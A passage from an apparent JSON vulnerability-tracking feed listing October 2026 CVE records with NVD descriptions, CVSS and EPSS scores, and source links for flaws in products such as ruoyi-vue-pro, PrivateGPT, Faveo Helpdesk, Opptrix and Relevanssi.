fixes.","publishedAt":"2026-10-25T06:16:32.373Z","updatedAt":"2026-10-26T13:52:56.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115251","asOf":"2026-10-26T13:52:56.910Z"},"epss":{"probability":0.00172,"percentile":0.06507,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115251&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115251","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115251","type":"primary","publishedAt":"2026-10-25T06:16:32.373Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115251&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115251, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116006","cveId":"CVE-2026-116006","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in YunaiV/zhijiantianya ruoyi-vue-pro up to 2026.09. The affected element is an unknown function of the file AuthController.java of the component SMS...","summary":"A vulnerability was detected in YunaiV/zhijiantianya ruoyi-vue-pro up to 2026.09. The affected element is an unknown function of the file AuthController.java of the component SMS Code Verification. The manipulation of the argument mobile/code results in improper authentication. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was detected in YunaiV/zhijiantianya ruoyi-vue-pro up to 2026.09. The affected element is an unknown function of the file AuthController.java of the component SMS Code Verification. The manipulation of the argument mobile/code results in improper authentication. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T04:17:34.083Z","updatedAt":"2026-10-25T04:17:34.503Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Java"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116006","asOf":"2026-10-25T04:17:34.503Z"},"epss":{"probability":0.00384,"percentile":0.32159,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-116006&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116006","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116006","type":"primary","publishedAt":"2026-10-25T04:17:34.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-116006&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-116006, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116000","cveId":"CVE-2026-116000","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in Zylon PrivateGPT 1.0.0/1.0.1. This vulnerability affects the function load_file_from_uri of the file private_gpt/server/ingest/uri_loader.py...","summary":"A security flaw has been discovered in Zylon PrivateGPT 1.0.0/1.0.1. This vulnerability affects the function load_file_from_uri of the file private_gpt/server/ingest/uri_loader.py of the component URI Artifact Loader. Performing a manipulation of the argument Value results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A security flaw has been discovered in Zylon PrivateGPT 1.0.0/1.0.1. This vulnerability affects the function load_file_from_uri of the file private_gpt/server/ingest/uri_loader.py of the component URI Artifact Loader. Performing a manipulation of the argument Value results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T03:16:26.617Z","updatedAt":"2026-10-26T18:17:41.267Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116000","asOf":"2026-10-26T18:17:41.267Z"},"epss":{"probability":0.00288,"percentile":0.21197,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-116000&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116000","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116000","type":"primary","publishedAt":"2026-10-25T03:16:26.617Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-116000&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-116000, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115999","cveId":"CVE-2026-115999","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in mansi-k Restaurant_IMS d7ad49f61ab7cc1ec6eb359ac2b5378bdbde0694. Affected is the function mysqli_connect of the file lsmodal.php.","summary":"A vulnerability has been found in mansi-k Restaurant_IMS d7ad49f61ab7cc1ec6eb359ac2b5378bdbde0694. Affected is the function mysqli_connect of the file lsmodal.php. The manipulation of the argument login_id/epsw leads to sql injection. Remote exploitation of the attack is possible. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability has been found in mansi-k Restaurant_IMS d7ad49f61ab7cc1ec6eb359ac2b5378bdbde0694. Affected is the function mysqli_connect of the file lsmodal.php. The manipulation of the argument login_id/epsw leads to sql injection. Remote exploitation of the attack is possible. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T02:16:26.913Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115999","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.0026,"percentile":0.17487,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115999&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115999","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115999","type":"primary","publishedAt":"2026-10-25T02:16:26.913Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115999&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115999, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115973","cveId":"CVE-2026-115973","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in FaveoSuite Faveo Helpdesk 2.0.3. Affected by this issue is the function ForgotPasswordController::sendResetLinkEmail/PasswordController::reset of...","summary":"A vulnerability was identified in FaveoSuite Faveo Helpdesk 2.0.3. Affected by this issue is the function ForgotPasswordController::sendResetLinkEmail/PasswordController::reset of the file app/Http/Controllers/Auth/ForgotPasswordController.php. The manipulation leads to weak password recovery. The attack may be initiated remotely. The vendor was contacted early about this disclosure.","detail":"A vulnerability was identified in FaveoSuite Faveo Helpdesk 2.0.3. Affected by this issue is the function ForgotPasswordController::sendResetLinkEmail/PasswordController::reset of the file app/Http/Controllers/Auth/ForgotPasswordController.php. The manipulation leads to weak password recovery. The attack may be initiated remotely. The vendor was contacted early about this disclosure.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T19:17:04.553Z","updatedAt":"2026-10-24T19:17:04.697Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115973","asOf":"2026-10-24T19:17:04.697Z"},"epss":{"probability":0.00278,"percentile":0.20052,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115973&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115973","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115973","type":"primary","publishedAt":"2026-10-24T19:17:04.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115973&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115973, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115970","cveId":"CVE-2026-115970","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in Travisun Opptrix 0.4.0. This impacts an unknown function of the file /api/system-update/import of the component Import Endpoint.","summary":"A vulnerability has been found in Travisun Opptrix 0.4.0. This impacts an unknown function of the file /api/system-update/import of the component Import Endpoint. Such manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The project has been completely taken offline and deprecated. The project maintainer explains: \"The mentioned security risk was a design flaw that manifested primarily in local environments during earlier stages of version development. We previously addressed and resolved this specific risk; however, because the project was restricted to a small learning scope and the main versions were intended to run exclusively on localhost, the security fix was only pushed directly to our GitHub repository before it went private.\" This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A vulnerability has been found in Travisun Opptrix 0.4.0. This impacts an unknown function of the file /api/system-update/import of the component Import Endpoint. Such manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The project has been completely taken offline and deprecated. The project maintainer explains: \"The mentioned security risk was a design flaw that manifested primarily in local environments during earlier stages of version development. We previously addressed and resolved this specific risk; however, because the project was restricted to a small learning scope and the main versions were intended to run exclusively on localhost, the security fix was only pushed directly to our GitHub repository before it went private.\" This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T18:16:48.367Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115970","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00304,"percentile":0.22988,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115970&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115970","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115970","type":"primary","publishedAt":"2026-10-24T18:16:48.367Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115970&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115970, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115969","cveId":"CVE-2026-115969","aliases":[],"kind":"vulnerability","title":"A flaw has been found in Travisun Opptrix 0.4.0. This affects an unknown function of the file /api/auth/setup of the component Schedule API.","summary":"A flaw has been found in Travisun Opptrix 0.4.0. This affects an unknown function of the file /api/auth/setup of the component Schedule API. This manipulation causes command injection. It is possible to initiate the attack remotely. The exploit has been published and may be used. The project has been completely taken offline and deprecated. The project maintainer explains: \"The mentioned security risk was a design flaw that manifested primarily in local environments during earlier stages of version development. We previously addressed and resolved this specific risk; however, because the project was restricted to a small learning scope and the main versions were intended to run exclusively on localhost, the security fix was only pushed directly to our GitHub repository before it went private.\" This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A flaw has been found in Travisun Opptrix 0.4.0. This affects an unknown function of the file /api/auth/setup of the component Schedule API. This manipulation causes command injection. It is possible to initiate the attack remotely. The exploit has been published and may be used. The project has been completely taken offline and deprecated. The project maintainer explains: \"The mentioned security risk was a design flaw that manifested primarily in local environments during earlier stages of version development. We previously addressed and resolved this specific risk; however, because the project was restricted to a small learning scope and the main versions were intended to run exclusively on localhost, the security fix was only pushed directly to our GitHub repository before it went private.\" This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T16:16:25.343Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115969","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.01336,"percentile":0.70991,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115969&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115969","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115969","type":"primary","publishedAt":"2026-10-24T16:16:25.343Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115969&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115969, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"techcrunch-php-ocalypse-how-two-critical-web-bugs-almost-broke-the-internet-2829b6d86798","cveId":null,"aliases":[],"kind":"vulnerability","title":"PHP-ocalypse: How two critical web bugs almost broke the internet","summary":"Two critical bugs in the PHP web programming language, used by the majority of the internet, threatened to upend the internet — and it's unlikely to be the last major software scare.","detail":"Two critical bugs in the PHP web programming language, used by the majority of the internet, threatened to upend the internet — and it's unlikely to be the last major software scare.\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-24T15:30:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"TechCrunch Security: PHP-ocalypse: How two critical web bugs almost broke the internet","url":"https://techcrunch.com/2026/10/24/php-ocalypse-how-two-critical-web-bugs-almost-broke-the-internet/","type":"reporting","publishedAt":"2026-10-24T15:30:00.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"TechCrunch Security syndication feed","url":"https://techcrunch.com/category/security/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114704","cveId":"CVE-2026-114704","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in Christoph Vielgrader Relevanssi  relevanssi allows Object Injection.This issue affects Relevanssi : from n/a through 4.28.4.","summary":"Deserialization of Untrusted Data vulnerability in Christoph Vielgrader Relevanssi  relevanssi allows Object Injection.This issue affects Relevanssi : from n/a through 4.28.4.","detail":"Deserialization of Untrusted Data vulnerability in Christoph Vielgrader Relevanssi  relevanssi allows Object Injection.This issue affects Relevanssi : from n/a through 4.28.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T14:16:39.313Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114704","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00413,"percentile":0.35239,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114704&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114704","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114704","type":"primary","publishedAt":"2026-10-24T14:16:39.313Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 